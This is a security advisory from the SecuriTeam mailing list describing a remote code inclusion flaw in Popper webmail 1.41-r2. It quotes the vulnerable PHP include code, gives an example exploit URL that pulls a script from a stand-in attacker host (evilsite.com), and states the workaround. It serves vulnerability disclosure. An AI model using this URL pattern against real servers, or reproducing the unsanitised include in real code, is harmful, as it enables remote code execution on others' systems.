[UNIX] Popper Webmail Code Execution

SecuriTeam <[email protected]>
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Popper Webmail Code Execution
------------------------------------------------------------------------


SUMMARY

"Popper is a webmail application written in PHP that allows users to read 
and send their e-mail messages using a web browser."

Popper is vulnerable to remote code inclusion bug in its PHP script that 
can be abused by malicious attackers to cause the PHP enviroment to 
execute arbitrary code.

DETAILS

Vulnerable Systems:
 * Popper webmail version 1.41-r2 and prior

Vulnerable code in childwindow.inc.php:
.
<?php
                if(file_exists($form.".toolbar.inc.php")) {
                        include($form.".toolbar.inc.php");
                }
?>
.
.
<?php include($form.".form.inc.php");?>
.

Vulnerability can be exploited only if register_globals in php.ini file is 
set to 'on'. To exploit this vulnerability, attacker has to put script 
like test.form.inc.php  on www.evilsite.com HTTP server, and call URL 
like:
http://www.vulnsite.com/popper/childwindow.inc.php?form=http://evilsite.com/test

Workaround:
Set register_globals to off.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Leon 
Juranic.
The original article can be found at:  
<http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07> 
http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.